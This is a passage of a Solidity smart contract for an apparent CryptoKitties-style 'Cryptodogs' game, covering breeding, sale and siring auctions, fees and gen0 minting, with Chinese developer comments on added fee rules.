// _isSiringPermitted(_sireId, _matronId);
// }
/// @dev Internal utility function to initiate breeding, assumes that all breeding
/// requirements have been checked.
function _breedWith(uint256 _matronId, uint256 _sireId) internal {
//zhangyong
//创世狗不能繁殖
require(_matronId > 1);
require(_sireId > 1);
// Grab a reference to the dogs from storage.
Dog storage sire = dogs[_sireId];
Dog storage matron = dogs[_matronId];
//zhangyong
//变异狗不能繁殖
require(sire.variation == 0);
require(matron.variation == 0);
if (matron.generation > 0) {
var(,,openBlock,,,,,,) = lottery.getCLottery();
if (matron.birthTime < openBlock) {
require(lottery.checkLottery(matron.genes) == 100);
}
}
// Mark the matron as pregnant, keeping track of who the sire is.
matron.siringWithId = uint32(_sireId);
// Trigger the cooldown for both parents.
_triggerCooldown(sire);
_triggerCooldown(matron);
// Clear siring permission for both parents. This may not be strictly necessary
// but it's likely to avoid confusion!
delete sireAllowedToAddress[_matronId];
delete sireAllowedToAddress[_sireId];
// Every time a Dog gets pregnant, counter is incremented.
pregnantDogs++;
//zhangyong
//只能由系统接生,接生费转给公司作为开发费用
cfoAddress.transfer(autoBirthFee);
//zhangyong
//如果母狗是0代狗,那么小狗的祖先就是母狗的ID,否则跟母狗的祖先相同
if (matron.generation > 0) {
dogIndexToOwner[matron.gen0].transfer(gen0Profit);
}
// Emit the pregnancy event.
Pregnant(dogIndexToOwner[_matronId], _matronId, _sireId, matron.cooldownEndBlock, sire.cooldownEndBlock, matron.cooldownIndex, sire.cooldownIndex);
}
/// @notice Breed a Dog you own (as matron) with a sire that you own, or for which you
/// have previously been given Siring approval. Will either make your cat pregnant, or will
/// fail entirely. Requires a pre-payment of the fee given out to the first caller of giveBirth()
/// @param _matronId The ID of the Dog acting as matron (will end up pregnant if successful)
/// @param _sireId The ID of the Dog acting as sire (will begin its siring cooldown if successful)
function breedWithAuto(uint256 _matronId, uint256 _sireId)
external
payable
whenNotPaused
{
// zhangyong
// 如果不是0代狗繁殖,则多收0代狗的繁殖收益
uint256 totalFee = autoBirthFee;
Dog storage matron = dogs[_matronId];
if (matron.generation > 0) {
totalFee += gen0Profit;
}
// Checks for payment.
require(msg.value >= totalFee);
// Caller must own the matron.
require(_owns(msg.sender, _matronId));
// Neither sire nor matron are allowed to be on auction during a normal
// breeding operation, but we don't need to check that explicitly.
// For matron: The caller of this function can't be the owner of the matron
// because the owner of a Dog on auction is the auction house, and the
// auction house will never call breedWith().
// For sire: Similarly, a sire on auction will be owned by the auction house
// and the act of transferring ownership will have cleared any oustanding
// siring approval.
// Thus we don't need to spend gas explicitly checking to see if either cat
// is on auction.
// Check that matron and sire are both owned by caller, or that the sire
// has given siring permission to caller (i.e. matron's owner).
// Will fail for _sireId = 0
require(_isSiringPermitted(_sireId, _matronId));
// Grab a reference to the potential matron
// Dog storage matron = dogs[_matronId];
// Make sure matron isn't pregnant, or in the middle of a siring cooldown
require(_isReadyToBreed(matron));
// Grab a reference to the potential sire
Dog storage sire = dogs[_sireId];
// Make sure sire isn't pregnant, or in the middle of a siring cooldown
require(_isReadyToBreed(sire));
// Test that these cats are a valid mating pair.
require(_isValidMatingPair(matron, _matronId, sire, _sireId));
// All checks passed, Dog gets pregnant!
_breedWith(_matronId, _sireId);
// zhangyong
// 多余的费用返还给用户
uint256 breedExcess = msg.value - totalFee;
if (breedExcess > 0) {
msg.sender.transfer(breedExcess);
}
}
/// @notice Have a pregnant Dog give birth!
/// @param _matronId A Dog ready to give birth.
/// @return The Dog ID of the new kitten.
/// @dev Looks at a given Dog and, if pregnant and if the gestation period has passed,
/// combines the genes of the two parents to create a new kitten. The new Dog is assigned
/// to the current owner of the matron. Upon successful completion, both the matron and the
/// new kitten will be ready to breed again. Note that anyone can call this function (if they
/// are willing to pay the gas!), but the new kitten always goes to the mother's owner.
//zhangyong
//只能由系统接生,接生费转给公司作为开发费用,同时避免其他人帮助接生后,后台不知如何处理
function giveBirth(uint256 _matronId)
external
whenNotPaused
returns(uint256)
{
// Grab a reference to the matron in storage.
Dog storage matron = dogs[_matronId];
// Check that the matron is a valid cat.
require(matron.birthTime != 0);
// Check that the matron is pregnant, and that its time has come!
require(_isReadyToGiveBirth(matron));
// Grab a reference to the sire in storage.
uint256 sireId = matron.siringWithId;
Dog storage sire = dogs[sireId];
// Determine the higher generation number of the two parents
uint16 parentGen = matron.generation;
if (sire.generation > matron.generation) {
parentGen = sire.generation;
}
//zhangyong
//如果母狗是0代狗,那么小狗的祖先就是母狗的ID,否则跟母狗的祖先相同
uint256 gen0 = matron.generation == 0 ? _matronId : matron.gen0;
// Call the sooper-sekret gene mixing operation.
uint256 childGenes = geneScience.mixGenes(matron.genes, sire.genes, matron.cooldownEndBlock - 1);
// Make the new kitten!
address owner = dogIndexToOwner[_matronId];
uint8 _variation = variation.createVariation(childGenes, dogs.length);
bool isGen0Siring = matron.generation == 0;
uint256 kittenId = _createDog(_matronId, matron.siringWithId, parentGen + 1, childGenes, owner, _variation, gen0, isGen0Siring);
// Clear the reference to sire from the matron (REQUIRED! Having siringWithId
// set is what marks a matron as being pregnant.)
delete matron.siringWithId;
// Every time a Dog gives birth counter is decremented.
pregnantDogs--;
// Send the balance fee to the person who made birth happen.
if(_variation != 0){
variation.registerVariation(kittenId, owner);
_transfer(owner, address(variation), kittenId);
}
// return the new kitten's ID
return kittenId;
}
}
/// @title Auction Core
/// @dev Contains models, variables, and internal methods for the auction.
/// @notice We omit a fallback function to prevent accidental sends to this contract.
contract ClockAuctionBase {
// Represents an auction on an NFT
struct Auction {
// Current owner of NFT
address seller;
// Price (in wei) at beginning of auction
uint128 startingPrice;
// Price (in wei) at end of auction
uint128 endingPrice;
// Duration (in seconds) of auction
uint64 duration;
// Time when auction started
// NOTE: 0 if this auction has been concluded
uint64 startedAt;
}
// Reference to contract tracking NFT ownership
ERC721 public nonFungibleContract;
// Cut owner takes on each auction, measured in basis points (1/100 of a percent).
// Values 0-10,000 map to 0%-100%
uint256 public ownerCut;
// Map from token ID to their corresponding auction.
mapping (uint256 => Auction) tokenIdToAuction;
event AuctionCreated(uint256 tokenId, uint256 startingPrice, uint256 endingPrice, uint256 duration);
event AuctionSuccessful(uint256 tokenId, uint256 totalPrice, address winner);
event AuctionCancelled(uint256 tokenId);
/// @dev Returns true if the claimant owns the token.
/// @param _claimant - Address claiming to own the token.
/// @param _tokenId - ID of token whose ownership to verify.
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return (nonFungibleContract.ownerOf(_tokenId) == _claimant);
}
/// @dev Escrows the NFT, assigning ownership to this contract.
/// Throws if the escrow fails.
/// @param _owner - Current owner address of token to escrow.
/// @param _tokenId - ID of token whose approval to verify.
function _escrow(address _owner, uint256 _tokenId) internal {
// it will throw if transfer fails
nonFungibleContract.transferFrom(_owner, this, _tokenId);
}
/// @dev Transfers an NFT owned by this contract to another address.
/// Returns true if the transfer succeeds.
/// @param _receiver - Address to transfer NFT to.
/// @param _tokenId - ID of token to transfer.
function _transfer(address _receiver, uint256 _tokenId) internal {
// it will throw if transfer fails
nonFungibleContract.transfer(_receiver, _tokenId);
}
/// @dev Adds an auction to the list of open auctions. Also fires the
/// AuctionCreated event.
/// @param _tokenId The ID of the token to be put on auction.
/// @param _auction Auction to add.
function _addAuction(uint256 _tokenId, Auction _auction) internal {
// Require that all auctions have a duration of
// at least one minute. (Keeps our math from getting hairy!)
require(_auction.duration >= 1 minutes);
tokenIdToAuction[_tokenId] = _auction;
AuctionCreated(
uint256(_tokenId),
uint256(_auction.startingPrice),
uint256(_auction.endingPrice),
uint256(_auction.duration)
);
}
/// @dev Cancels an auction unconditionally.
function _cancelAuction(uint256 _tokenId, address _seller) internal {
_removeAuction(_tokenId);
_transfer(_seller, _tokenId);
AuctionCancelled(_tokenId);
}
/// @dev Computes the price and transfers winnings.
/// Does NOT transfer ownership of token.
function _bid(uint256 _tokenId, uint256 _bidAmount, address _to)
internal
returns (uint256)
{
// Get a reference to the auction struct
Auction storage auction = tokenIdToAuction[_tokenId];
// Explicitly check that this auction is currently live.
// (Because of how Ethereum mappings work, we can't just count
// on the lookup above failing. An invalid _tokenId will just
// return an auction object that is all zeros.)
require(_isOnAuction(auction));
// Check that the bid is greater than or equal to the current price
uint256 price = _currentPrice(auction);
uint256 auctioneerCut = computeCut(price);
//zhangyong
//两只创世狗每次交易需要收取10%的手续费
//创世狗无法繁殖,所以只有创世狗交易才会进入到这个方法
uint256 fee = 0;
if (_tokenId == 0 || _tokenId == 1) {
fee = price / 5;
}
require((_bidAmount + auctioneerCut + fee) >= price);
// Grab a reference to the seller before the auction struct
// gets deleted.
address seller = auction.seller;
// The bid is good! Remove the auction before sending the fees
// to the sender so we can't have a reentrancy attack.
_removeAuction(_tokenId);
// Transfer proceeds to seller (if there are any!)
if (price > 0) {
// Calculate the auctioneer's cut.
// (NOTE: _computeCut() is guaranteed to return a
// value <= price, so this subtraction can't go negative.)
uint256 sellerProceeds = price - auctioneerCut - fee;
// NOTE: Doing a transfer() in the middle of a complex
// method like this is generally discouraged because of
// reentrancy attacks and DoS attacks if the seller is
// a contract with an invalid fallback function. We explicitly
// guard against reentrancy attacks by removing the auction
// before calling transfer(), and the only thing the seller
// can DoS is the sale of their own asset! (And if it's an
// accident, they can call cancelAuction(). )
seller.transfer(sellerProceeds);
}
// Calculate any excess funds included with the bid. If the excess
// is anything worth worrying about, transfer it back to bidder.
// NOTE: We checked above that the bid amount is greater than or
// equal to the price so this cannot underflow.
// zhangyong
// _bidAmount在进入这个方法之前已经扣掉了fee,所以买者需要加上这笔费用才等于开始出价
// uint256 bidExcess = _bidAmount + fee - price;
// Return the funds. Similar to the previous transfer, this is
// not susceptible to a re-entry attack because the auction is
// removed before any transfers occur.
// zhangyong
// msg.sender是主合约地址,并不是出价人的地址
// msg.sender.transfer(bidExcess);
// Tell the world!
AuctionSuccessful(_tokenId, price, _to);
return price;
}
/// @dev Removes an auction from the list of open auctions.
/// @param _tokenId - ID of NFT on auction.
function _removeAuction(uint256 _tokenId) internal {
delete tokenIdToAuction[_tokenId];
}
/// @dev Returns true if the NFT is on auction.
/// @param _auction - Auction to check.
function _isOnAuction(Auction storage _auction) internal view returns (bool) {
return (_auction.startedAt > 0);
}
/// @dev Returns current price of an NFT on auction. Broken into two
/// functions (this one, that computes the duration from the auction
/// structure, and the other that does the price computation) so we
/// can easily test that the price computation works correctly.
function _currentPrice(Auction storage _auction)
internal
view
returns (uint256)
{
uint256 secondsPassed = 0;
// A bit of insurance against negative values (or wraparound).
// Probably not necessary (since Ethereum guarnatees that the
// now variable doesn't ever go backwards).
if (now > _auction.startedAt) {
secondsPassed = now - _auction.startedAt;
}
return _computeCurrentPrice(
_auction.startingPrice,
_auction.endingPrice,
_auction.duration,
secondsPassed
);
}
/// @dev Computes the current price of an auction. Factored out
/// from _currentPrice so we can run extensive unit tests.
/// When testing, make this function public and turn on
/// `Current price computation` test suite.
function _computeCurrentPrice(
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
uint256 _secondsPassed
)
internal
pure
returns (uint256)
{
// NOTE: We don't use SafeMath (or similar) in this function because
// all of our public functions carefully cap the maximum values for
// time (at 64-bits) and currency (at 128-bits). _duration is
// also known to be non-zero (see the require() statement in
// _addAuction())
if (_secondsPassed >= _duration) {
// We've reached the end of the dynamic pricing portion
// of the auction, just return the end price.
return _endingPrice;
} else {
// Starting price can be higher than ending price (and often is!), so
// this delta can be negative.
int256 totalPriceChange = int256(_endingPrice) - int256(_startingPrice);
// This multiplication can't overflow, _secondsPassed will easily fit within
// 64-bits, and totalPriceChange will easily fit within 128-bits, their product
// will always fit within 256-bits.
int256 currentPriceChange = totalPriceChange * int256(_secondsPassed) / int256(_duration);
// currentPriceChange can be negative, but if so, will have a magnitude
// less that _startingPrice. Thus, this result will always end up positive.
int256 currentPrice = int256(_startingPrice) + currentPriceChange;
return uint256(currentPrice);
}
}
/// @dev Computes owner's cut of a sale.
/// @param _price - Sale price of NFT.
function computeCut(uint256 _price) public view returns (uint256) {
// NOTE: We don't use SafeMath (or similar) in this function because
// all of our entry functions carefully cap the maximum values for
// currency (at 128-bits), and ownerCut <= 10000 (see the require()
// statement in the ClockAuction constructor). The result of this
// function is always guaranteed to be <= _price.
return _price * ownerCut / 10000;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
/// @title Clock auction for non-fungible tokens.
/// @notice We omit a fallback function to prevent accidental sends to this contract.
contract ClockAuction is Pausable, ClockAuctionBase {
/// @dev The ERC-165 interface signature for ERC-721.
/// Ref: https://github.com/ethereum/EIPs/issues/165
/// Ref: https://github.com/ethereum/EIPs/issues/721
// bytes4 constant InterfaceSignature_ERC721 = bytes4(0x9a20483d);
bytes4 constant InterfaceSignature_ERC721 =
bytes4(keccak256("name()")) ^
bytes4(keccak256("symbol()")) ^
bytes4(keccak256("totalSupply()")) ^
bytes4(keccak256("balanceOf(address)")) ^
bytes4(keccak256("ownerOf(uint256)")) ^
bytes4(keccak256("approve(address,uint256)")) ^
bytes4(keccak256("transfer(address,uint256)")) ^
bytes4(keccak256("transferFrom(address,address,uint256)"));
/// @dev Constructor creates a reference to the NFT ownership contract
/// and verifies the owner cut is in the valid range.
/// @param _nftAddress - address of a deployed contract implementing
/// the Nonfungible Interface.
/// @param _cut - percent cut the owner takes on each auction, must be
/// between 0-10,000.
function ClockAuction(address _nftAddress, uint256 _cut) public {
require(_cut <= 10000);
ownerCut = _cut;
ERC721 candidateContract = ERC721(_nftAddress);
require(candidateContract.supportsInterface(InterfaceSignature_ERC721));
nonFungibleContract = candidateContract;
}
/// @dev Remove all Ether from the contract, which is the owner's cuts
/// as well as any Ether sent directly to the contract address.
/// Always transfers to the NFT contract, but can be called either by
/// the owner or the NFT contract.
function withdrawBalance() external {
address nftAddress = address(nonFungibleContract);
require(
msg.sender == owner ||
msg.sender == nftAddress
);
// We are using this boolean method to make sure that even if one fails it will still work
nftAddress.transfer(address(this).balance);
}
// @dev Creates and begins a new auction.
// @param _tokenId - ID of token to auction, sender must be owner.
// @param _startingPrice - Price of item (in wei) at beginning of auction.
// @param _endingPrice - Price of item (in wei) at end of auction.
// @param _duration - Length of time to move between starting
// price and ending price (in seconds).
// @param _seller - Seller, if not the message sender
// function createAuction(
// uint256 _tokenId,
// uint256 _startingPrice,
// uint256 _endingPrice,
// uint256 _duration,
// address _seller
// )
// external
// whenNotPaused
// {
// // Sanity check that no inputs overflow how many bits we've allocated
// // to store them in the auction struct.
// require(_startingPrice == uint256(uint128(_startingPrice)));
// require(_endingPrice == uint256(uint128(_endingPrice)));
// require(_duration == uint256(uint64(_duration)));
// require(_owns(msg.sender, _tokenId));
// _escrow(msg.sender, _tokenId);
// Auction memory auction = Auction(
// _seller,
// uint128(_startingPrice),
// uint128(_endingPrice),
// uint64(_duration),
// uint64(now)
// );
// _addAuction(_tokenId, auction);
// }
// @dev Bids on an open auction, completing the auction and transferring
// ownership of the NFT if enough Ether is supplied.
// @param _tokenId - ID of token to bid on.
// function bid(uint256 _tokenId)
// external
// payable
// whenNotPaused
// {
// // _bid will throw if the bid or funds transfer fails
// _bid(_tokenId, msg.value);
// _transfer(msg.sender, _tokenId);
// }
/// @dev Cancels an auction that hasn't been won yet.
/// Returns the NFT to original owner.
/// @notice This is a state-modifying function that can
/// be called while the contract is paused.
/// @param _tokenId - ID of token on auction
function cancelAuction(uint256 _tokenId)
external
{
// zhangyong
// 普通用户无法下架创世狗
require(_tokenId > 1);
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
address seller = auction.seller;
require(msg.sender == seller);
_cancelAuction(_tokenId, seller);
}
/// @dev Cancels an auction when the contract is paused.
/// Only the owner may do this, and NFTs are returned to
/// the seller. This should only be used in emergencies.
/// @param _tokenId - ID of the NFT on auction to cancel.
function cancelAuctionWhenPaused(uint256 _tokenId)
whenPaused
onlyOwner
external
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
_cancelAuction(_tokenId, auction.seller);
}
/// @dev Returns auction info for an NFT on auction.
/// @param _tokenId - ID of NFT on auction.
function getAuction(uint256 _tokenId)
external
view
returns
(
address seller,
uint256 startingPrice,
uint256 endingPrice,
uint256 duration,
uint256 startedAt
) {
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
return (
auction.seller,
auction.startingPrice,
auction.endingPrice,
auction.duration,
auction.startedAt
);
}
/// @dev Returns the current price of an auction.
/// @param _tokenId - ID of the token price we are checking.
function getCurrentPrice(uint256 _tokenId)
external
view
returns (uint256)
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
return _currentPrice(auction);
}
}
/// @title Reverse auction modified for siring
/// @notice We omit a fallback function to prevent accidental sends to this contract.
contract SiringClockAuction is ClockAuction {
// @dev Sanity check that allows us to ensure that we are pointing to the
// right auction in our setSiringAuctionAddress() call.
bool public isSiringClockAuction = true;
// Delegate constructor
function SiringClockAuction(address _nftAddr, uint256 _cut) public ClockAuction(_nftAddr, _cut) {}
/// @dev Creates and begins a new auction. Since this function is wrapped,
/// require sender to be KittyCore contract.
/// @param _tokenId - ID of token to auction, sender must be owner.
/// @param _startingPrice - Price of item (in wei) at beginning of auction.
/// @param _endingPrice - Price of item (in wei) at end of auction.
/// @param _duration - Length of auction (in seconds).
/// @param _seller - Seller, if not the message sender
function createAuction(
uint256 _tokenId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
address _seller
)
external
{
// Sanity check that no inputs overflow how many bits we've allocated
// to store them in the auction struct.
require(_startingPrice == uint256(uint128(_startingPrice)));
require(_endingPrice == uint256(uint128(_endingPrice)));
require(_duration == uint256(uint64(_duration)));
require(msg.sender == address(nonFungibleContract));
_escrow(_seller, _tokenId);
Auction memory auction = Auction(
_seller,
uint128(_startingPrice),
uint128(_endingPrice),
uint64(_duration),
uint64(now)
);
_addAuction(_tokenId, auction);
}
/// @dev Places a bid for siring. Requires the sender
/// is the KittyCore contract because all bid methods
/// should be wrapped. Also returns the Dog to the
/// seller rather than the winner.
function bid(uint256 _tokenId, address _to)
external
payable
{
require(msg.sender == address(nonFungibleContract));
address seller = tokenIdToAuction[_tokenId].seller;
// _bid checks that token ID is valid and will throw if bid fails
_bid(_tokenId, msg.value, _to);
// We transfer the Dog back to the seller, the winner will get
// the offspring
_transfer(seller, _tokenId);
}
}
/// @title Clock auction modified for sale of dogs
/// @notice We omit a fallback function to prevent accidental sends to this contract.
contract SaleClockAuction is ClockAuction {
// @dev Sanity check that allows us to ensure that we are pointing to the
// right auction in our setSaleAuctionAddress() call.
bool public isSaleClockAuction = true;
// Tracks last 5 sale price of gen0 Dog sales
uint256 public gen0SaleCount;
uint256[5] public lastGen0SalePrices;
// Delegate constructor
function SaleClockAuction(address _nftAddr, uint256 _cut) public ClockAuction(_nftAddr, _cut) {}
/// @dev Creates and begins a new auction.
/// @param _tokenId - ID of token to auction, sender must be owner.
/// @param _startingPrice - Price of item (in wei) at beginning of auction.
/// @param _endingPrice - Price of item (in wei) at end of auction.
/// @param _duration - Length of auction (in seconds).
/// @param _seller - Seller, if not the message sender
function createAuction(
uint256 _tokenId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
address _seller
)
external
{
// Sanity check that no inputs overflow how many bits we've allocated
// to store them in the auction struct.
require(_startingPrice == uint256(uint128(_startingPrice)));
require(_endingPrice == uint256(uint128(_endingPrice)));
require(_duration == uint256(uint64(_duration)));
require(msg.sender == address(nonFungibleContract));
_escrow(_seller, _tokenId);
Auction memory auction = Auction(
_seller,
uint128(_startingPrice),
uint128(_endingPrice),
uint64(_duration),
uint64(now)
);
_addAuction(_tokenId, auction);
}
/// @dev Updates lastSalePrice if seller is the nft contract
/// Otherwise, works the same as default bid method.
function bid(uint256 _tokenId, address _to)
external
payable
{
//zhangyong
//只能由主合约调用出价竞购,因为要判断当期中奖了的狗无法买卖
require(msg.sender == address(nonFungibleContract));
// _bid verifies token ID size
address seller = tokenIdToAuction[_tokenId].seller;
// zhangyong
// 自己不能买自己卖的同一只狗
require(seller != _to);
uint256 price = _bid(_tokenId, msg.value, _to);
//zhangyong
//当狗被拍卖后,主人变成拍卖合约,主合约并不是狗的购买人,需要额外传入
_transfer(_to, _tokenId);
// If not a gen0 auction, exit
if (seller == address(nonFungibleContract)) {
// Track gen0 sale prices
lastGen0SalePrices[gen0SaleCount % 5] = price;
gen0SaleCount++;
}
}
function averageGen0SalePrice() external view returns (uint256) {
uint256 sum = 0;
for (uint256 i = 0; i < 5; i++) {
sum += lastGen0SalePrices[i];
}
return sum / 5;
}
}
/// @title Handles creating auctions for sale and siring of dogs.
/// This wrapper of ReverseAuction exists only so that users can create
/// auctions with only one transaction.
contract DogAuction is DogBreeding {
uint256 public constant GEN0_AUCTION_DURATION = 1 days;
// @notice The auction contract variables are defined in KittyBase to allow
// us to refer to them in KittyOwnership to prevent accidental transfers.
// `saleAuction` refers to the auction for gen0 and p2p sale of dogs.
// `siringAuction` refers to the auction for siring rights of dogs.
/// @dev Sets the reference to the sale auction.
/// @param _address - Address of sale contract.
function setSaleAuctionAddress(address _address) external onlyCEO {
SaleClockAuction candidateContract = SaleClockAuction(_address);
// NOTE: verify that a contract is what we expect - https://github.com/Lunyr/crowdsale-contracts/blob/cfadd15986c30521d8ba7d5b6f57b4fefcc7ac38/contracts/LunyrToken.sol#L117
require(candidateContract.isSaleClockAuction());
// Set the new contract address
saleAuction = candidateContract;
}
/// @dev Sets the reference to the siring auction.
/// @param _address - Address of siring contract.
function setSiringAuctionAddress(address _address) external onlyCEO {
SiringClockAuction candidateContract = SiringClockAuction(_address);
// NOTE: verify that a contract is what we expect - https://github.com/Lunyr/crowdsale-contracts/blob/cfadd15986c30521d8ba7d5b6f57b4fefcc7ac38/contracts/LunyrToken.sol#L117
require(candidateContract.isSiringClockAuction());
// Set the new contract address
siringAuction = candidateContract;
}
/// @dev Put a Dog up for auction.
/// Does some ownership trickery to create auctions in one tx.
function createSaleAuction(
uint256 _dogId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration
)
external
whenNotPaused
{
// Auction contract checks input sizes
// If Dog is already on any auction, this will throw
// because it will be owned by the auction contract.
require(_owns(msg.sender, _dogId) || _approvedFor(msg.sender, _dogId));
// Ensure the Dog is not pregnant to prevent the auction
// contract accidentally receiving ownership of the child.
// NOTE: the Dog IS allowed to be in a cooldown.
require(!isPregnant(_dogId));
_approve(_dogId, saleAuction);
// Sale auction throws if inputs are invalid and clears
// transfer and sire approval after escrowing the Dog.
saleAuction.createAuction(
_dogId,
_startingPrice,
_endingPrice,
_duration,
dogIndexToOwner[_dogId]
);
}
/// @dev Put a Dog up for auction to be sire.
/// Performs checks to ensure the Dog can be sired, then
/// delegates to reverse auction.
function createSiringAuction(
uint256 _dogId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration
)
external
whenNotPaused
{
//zhangyong
Dog storage dog = dogs[_dogId];
//变异狗不能繁殖
require(dog.variation == 0);
// Auction contract checks input sizes
// If Dog is already on any auction, this will throw
// because it will be owned by the auction contract.
require(_owns(msg.sender, _dogId));
require(isReadyToBreed(_dogId));
_approve(_dogId, siringAuction);
// Siring auction throws if inputs are invalid and clears
// transfer and sire approval after escrowing the Dog.
siringAuction.createAuction(
_dogId,
_startingPrice,
_endingPrice,
_duration,
msg.sender
);
}
/// @dev Completes a siring auction by bidding.
/// Immediately breeds the winning matron with the sire on auction.
/// @param _sireId - ID of the sire on auction.
/// @param _matronId - ID of the matron owned by the bidder.
function bidOnSiringAuction(
uint256 _sireId,
uint256 _matronId
)
external
payable
whenNotPaused
{
// Auction contract checks input sizes
require(_owns(msg.sender, _matronId));
require(isReadyToBreed(_matronId));
require(_canBreedWithViaAuction(_matronId, _sireId));
// Define the current price of the auction.
uint256 currentPrice = siringAuction.getCurrentPrice(_sireId);
// zhangyong
// 如果不是0代狗繁殖,则多收0代狗的繁殖收益
uint256 totalFee = currentPrice + autoBirthFee;
Dog storage matron = dogs[_matronId];
if (matron.generation > 0) {
totalFee += gen0Profit;
}
require(msg.value >= totalFee);
uint256 auctioneerCut = saleAuction.computeCut(currentPrice);
// Siring auction will throw if the bid fails.
siringAuction.bid.value(currentPrice - auctioneerCut)(_sireId, msg.sender);
_breedWith(uint32(_matronId), uint32(_sireId));
// zhangyong
// 额外的钱返还给用户
uint256 bidExcess = msg.value - totalFee;
if (bidExcess > 0) {
msg.sender.transfer(bidExcess);
}
}
// zhangyong
// 创世狗交易需要收取10%的手续费给CFO
// 所有交易都要收取3.75%的手续费给买卖合约
function bidOnSaleAuction(
uint256 _dogId
)
external
payable
whenNotPaused
{
Dog storage dog = dogs[_dogId];
//中奖的狗无法交易
if (dog.generation > 0) {
var(,,openBlock,,,,,,) = lottery.getCLottery();
if (dog.birthTime < openBlock) {
require(lottery.checkLottery(dog.genes) == 100);
}
}
//交易成功之后,买卖合约会被删除,无法获取到当前价格
uint256 currentPrice = saleAuction.getCurrentPrice(_dogId);
require(msg.value >= currentPrice);
//创世狗交易需要收取10%的手续费
bool isCreationKitty = _dogId == 0 || _dogId == 1;
uint256 fee = 0;
if (isCreationKitty) {
fee = currentPrice / 5;
}
uint256 auctioneerCut = saleAuction.computeCut(currentPrice);
saleAuction.bid.value(currentPrice - (auctioneerCut + fee))(_dogId, msg.sender);
// 创世狗被交易之后,下次的价格为当前成交价的2倍
if (isCreationKitty) {
//转账到主合约进行,因为买卖合约访问不了cfoAddress
cfoAddress.transfer(fee);
uint256 nextPrice = uint256(uint128(2 * currentPrice));
if (nextPrice < currentPrice) {
nextPrice = currentPrice;
}
_approve(_dogId, saleAuction);
saleAuction.createAuction(
_dogId,
nextPrice,
nextPrice,
GEN0_AUCTION_DURATION,
msg.sender);
}
uint256 bidExcess = msg.value - currentPrice;
if (bidExcess > 0) {
msg.sender.transfer(bidExcess);
}
}
// @dev Transfers the balance of the sale auction contract
// to the KittyCore contract. We use two-step withdrawal to
// prevent two transfer calls in the auction bid function.
// function withdrawAuctionBalances() external onlyCLevel {
// saleAuction.withdrawBalance();
// siringAuction.withdrawBalance();
// }
}
/// @title all functions related to creating kittens
contract DogMinting is DogAuction {
// Limits the number of cats the contract owner can ever create.
// uint256 public constant PROMO_CREATION_LIMIT = 5000;
uint256 public constant GEN0_CREATION_LIMIT = 40000;
// Constants for gen0 auctions.
uint256 public constant GEN0_STARTING_PRICE = 200 finney;
// uint256 public constant GEN0_AUCTION_DURATION = 1 days;
// Counts the number of cats the contract owner has created.
// uint256 public promoCreatedCount;
uint256 public gen0CreatedCount;
// @dev we can create promo kittens, up to a limit. Only callable by COO
// @param _genes the encoded genes of the kitten to be created, any value is accepted
// @param _owner the future owner of the created kittens. Default to contract COO
// function createPromoKitty(uint256 _genes, address _owner) external onlyCOO {
// address kittyOwner = _owner;
// if (kittyOwner == address(0)) {
// kittyOwner = cooAddress;
// }
// require(promoCreatedCount < PROMO_CREATION_LIMIT);
// promoCreatedCount++;
// //zhangyong
// //增加变异系数与0代狗祖先作为参数
// _createDog(0, 0, 0, _genes, kittyOwner, 0, 0, false);
// }
// @dev Creates a new gen0 Dog with the given genes
function createGen0Dog(uint256 _genes) external onlyCLevel returns(uint256) {
require(gen0CreatedCount < GEN0_CREATION_LIMIT);
//zhangyong
//增加变异系数与0代狗祖先作为参数
uint256 dogId = _createDog(0, 0, 0, _genes, address(this), 0, 0, false);
_approve(dogId, msg.sender);
gen0CreatedCount++;
return dogId;
}
/// @dev creates an auction for it.
// function createGen0Auction(uint256 _dogId) external onlyCOO {
// require(_owns(address(this), _dogId));
// _approve(_dogId, saleAuction);
// //zhangyong
// //0代狗的价格随时间递减到最低价,起始价与前5只价格相关
// uint256 price = _computeNextGen0Price();
// saleAuction.createAuction(
// _dogId,
// price,
// price,
// GEN0_AUCTION_DURATION,
// address(this)
// );
// }
/// @dev Computes the next gen0 auction starting price, given
/// the average of the past 5 prices + 50%.
function computeNextGen0Price() public view returns (uint256) {
uint256 avePrice = saleAuction.averageGen0SalePrice();
// Sanity check to ensure we don't overflow arithmetic
require(avePrice == uint256(uint128(avePrice)));
uint256 nextPrice = avePrice + (avePrice / 2);
// We never auction for less than starting price
if (nextPrice < GEN0_STARTING_PRICE) {
nextPrice = GEN0_STARTING_PRICE;
}
return nextPrice;
}
}
/// @title Cryptodogs: Collectible, breedable, and oh-so-adorable cats on the Ethereum blockchain.
/// @author Axiom Zen (https://www.axiomzen.co)
/// @dev The main Cryptodogs contract, keeps track of kittens so they don't wander around and get lost.
contract DogCore is DogMinting {
// This is the main Cryptodogs contract. In order to keep our code seperated into logical sections,
// we've broken it up in two ways. First, we have several seperately-instantiated sibling contracts
// that handle auctions and our super-top-secret genetic combination algorithm. The auctions are
// seperate since their logic is somewhat complex and there's always a risk of subtle bugs. By keeping
// them in their own contracts, we can upgrade them without disrupting the main contract that tracks
// Dog ownership. The genetic combination algorithm is kept seperate so we can open-source all of
// the rest of our code without making it _too_ easy for folks to figure out how the genetics work.
// Don't worry, I'm sure someone will reverse engineer it soon enough!
//
// Secondly, we break the core contract into multiple files using inheritence, one for each major
